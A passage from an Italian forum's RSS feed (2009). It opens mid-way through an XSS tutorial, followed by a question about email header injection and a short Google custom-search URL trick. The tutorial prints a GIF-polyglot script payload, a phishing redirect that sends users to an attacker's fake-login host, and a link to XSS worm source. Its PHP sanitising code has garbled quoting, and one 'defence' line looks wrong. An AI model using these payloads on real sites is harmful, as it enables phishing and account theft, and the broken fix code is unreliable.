SOLO htmlspecialchars() nei vostri script PHP.<br><br><b><u>XSS Upload:</u></b><br>Joe dopo aver trovato il sito vulnerabile a XSS decide anche di provare a fare un upload. Perciò apre il suo programma preferito di fotoritocco crea un immagine vuota che salva come upload_0.gif, poi apre l’immagine appena creata con il suo editor testi ( es: notepad++, kate, gedit e altri)<br>Cancella tutte le righe che vede ed inserisce la seguente stringa:<br><pre class='code'><br>GIF89a&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;<br></pre><br>salva l’immagine e chiude.<br>Poi carica upload_0.gif su un servizio di free hosting e…..ecco la XSS<br>La vulnerabilità consiste nel fatto che uppando l’immagine viene confrontato il codice di GIF89a come una qualsiasi altra immagine GIF, perciò non vengono controllati in nessuno modo i possibili codici maligni contenuti in questa immagine si viene cosi a creare il Cross Site Scripting.<br>L’alert però è visibile bene solo con Internet Explorer, Mozilla Firefox sembra avere qualche problema nel caricamento dello stesso.<br><br>Difesa:<br>Non controllare la variable getimagesize()<br><br><b><u>XSS Phising:</u></b><br>Non accontentandosi dei risultati ottenuti fino ad ora Joe decide di fare anche un fake –login per intraprendere un azione di phishing ai danni dell’utente ingenuo. Per fare ciò userà lo script<br><pre class='code'>&lt;script&gt;window.location.href =’http://sito.di.joe/fakelogin’&lt;script&gt;</pre><br>Usato in questo modo:<br><pre class='code'>http://www.example.com/search.php?text=&lt; script&gt;window.location.href =http://sito.di.joe/fakelogin’&lt;script&gt;</pre><br>Ovviamente Joe si ricorderà anche di codificare l’ultima parte della stringa del sito web in HEX.<br><br><b><u>XSS Worm:</u></b><br>Adesso lasciamo Joe per concentraci su questo argomento difficile e “scottante” allo stesso tempo. Per prima cosa possiamo capire come strutturare un XSS Worm da quello costruito per YahooMailService, che trovate qua: [<a href='url.asp?url=http://worms.xssing.com/sources/yamanner.txt' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>]<br><br>Tutto questo codice non va eseguito all’interno dell’input del nostro sito vittima…LOL..ovvio no ? Bisogna richiamarlo..fare in modo..che funzioni correttamente. Come potete immaginare va bene sia per la vulnerabilità XSS Non-Persistente e sia per la vulnerabilità XSS Persistente.<br><br>Io ne sconsiglio l’uso per ovvi motivi legali però visto che questa “guida” serve per apprendere, allora se lo dobbiamo usare..usiamolo su una vulnerabilità XSS-Persistente. Ora vediamo come applicarlo al sito vittima:<br>-Prendiamo il codice del nostro worm e con un editor testi, dremweaver o quello che volete salvatelo con: nome a piacere ed estensione .js<br>-Fatto ciò andiamo a richiamare tale script .js così:<br><br><br><b><u>How To “Fix” XSS:</u></b><br>E questo credo sia il punto che interessa di più a tutti. Gli scripts in questa sezione sono opera di <b>TdL Staff</b>. Per fixare il problema delle xss dobbiamo usare una delle 3 funzioni di php. Querste funzioni non fanno altro che ripulire il codice HTML, ovvero i tag, per non far si´ che questi vengano iniettati nel codice. La funzione più utilizzata è htmlspecialchars() che tramuta tutti i caratteri <pre class='code'>&lt; e &gt; in & ls; e & gt;</pre> Un´altra opzione è htmlentities() che sostituisce tutti i caratteri nelle corrispondenti entità.<br>Infine vi è una terza funzione strip_tags(), che invece, elimina tutti gli elementi html, trannealcuni elementi consentiti che bisogno specificare come ad esempio <pre class='code'>&lt;i&gt;, &lt;b&gt; o &lt;p&gt;</pre>.<br><br>Quindi quello che dovete fare per ogni variabile che vi viene passata dall´utente sia essa in un form oppure nell´url stesso della pagina è applicare le funzioni htmlspecialchars(), htmlentities() e strip_tags() di php nel modo più opportuno possibile. Se poi volete mantenere i BR HTML potete usare la funzione nl2br() che appunto trasforma tutti gli <br> in BR (dal nome.. eh... newline to break) e che va bene anche per gli xml. In alternativa potete anche utilizzare ereg_replace() una funzione di php per espressioni regolari. È più complessa da utilizzare quindi io vi consiglio di prendere prima la mano con le 3 funzioni descritte sopra. Tuttavia visto che questa è una guida vi scrivo anche un piccolo esempio di filtraggio testo con ereg_replace().<br><br><pre class='code'><br>&lt;?php<br>function filter_text($text, $striptags=1, $allowable_tags=´´) {<br>                             $text = trim($text);<br>  if(get_magic_quotes_gpc()) $text = stripslashes($text);<br>  if($striptags==1)          $text = strip_tags($text, $allowable_tags);<br>                             $text = str_replace(&quot;&quot;, ´##92´, $text);<br>  if(empty($allowable_tags)) $text = htmlspecialchars($text);<br>                             $text = ereg_replace(&quot;´&quot;, ´´´, $text);<br>                             $text = ereg_replace(´&quot;´, ´&quot;´, $text);<br>                             $text = ereg_replace(´##92´, ´´, $text);<br>  $text=addslashes($text);<br>  return $text;<br>}<br>?&gt;<br></pre><br><br><b><u>Conclusioni</u></b><br>Spero che questa guida vi possa tornare utile all´implementazione delle vostre pagine senza buchi xss. Ringrazio nuovamente <b>N3t.Sh4rk</b> dal quale ho preso l´85&#37; della guida. Per maggiori informazioni riguardo a codice omesso potete contattarmi e vi spedirò il restante codice.<br><br>Grazie a tutti per aver letto]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=90696]]></link><pubDate><![CDATA[06/04/2009 10.49.07]]></pubDate></item><item><title><![CDATA[Spam Injection attack]]> di <![CDATA[rhllor]]></title><description><![CDATA[In questi giorni mi sono imbattuto in un tipo di attacco che, ammetto, di non conoscere. Ossia un Spam Injection attack. Dopo aver letto dei log ho cominciato a cercare un po&acute; su internet(stasera che sono a casa darò uno sguardo anche ai vari manuali) per vedere se vi è qualche spiegazione di questo tipo di attacco e, se devo essere sincero, ho capito ben poco. Quello che ho compreso è che una debolezza di PHP per cui si può, attraverso una form, inserendo una determinata sequenza di caratteri inserire un header di una mail e di conseguenza generare l&acute;exploit. <br><br>Ho capito male? Ho capito bene?<br>C&acute;è qualcuno che saprebbe approfondirmi il problema? Chiarirmi l&acute;attacco, come viene effettuato e magari in quale modo prevenire? :)<br>Ed, in questo caso, chiarirlo anche ad altri che come me sono totalmente ignoranti di questo argomento :D<br><br>Grasie in anticipo a chi mi chiarirà le idee<br><br>nb: faccio presente che non è un bombardamento di Mail ma proprio l&acute;inserimento di un messaggio dentro ad una form che, lato php, NON usa la funzione per l&acute;invio di mail =P <br><br>ps: ovviamente i dati verranno filtrati togliendo i backslash generati da eventuali magic_quote e poi rimettendoli con la funzione mysql_real_escape_string  con una aggiunta di un preg_replace del carattere @ che la funzione precedente non considera :D]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=87477]]></link><pubDate><![CDATA[27/02/2009 10.31.36]]></pubDate></item><item><title><![CDATA[$_SERVER Google Exploit]]> di <![CDATA[tdl - staff]]></title><description><![CDATA[Vado direttamente con il codice... tanto non credo che gliene freghi niente a nessuno della spiegazione.<br><br><b><u>Codice</u></b><br><pre class='code'><br>http://www.google.com/custom?hl=it&cof=;S:http://www.tanadelladro.com;CX:;L:http://www.tanadelladro.com/ita/head.jpg;<br></pre><br><br>I parametri che potete cambiare sono quelli dove c&acute;è l&acute;indirizzo di Tana del Ladro.<br><br>enjoy :)]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=87470]]></link><pubDate><![CDATA[27/02/2009 9.32.47]]></pubDate></item>
</channel></rss>
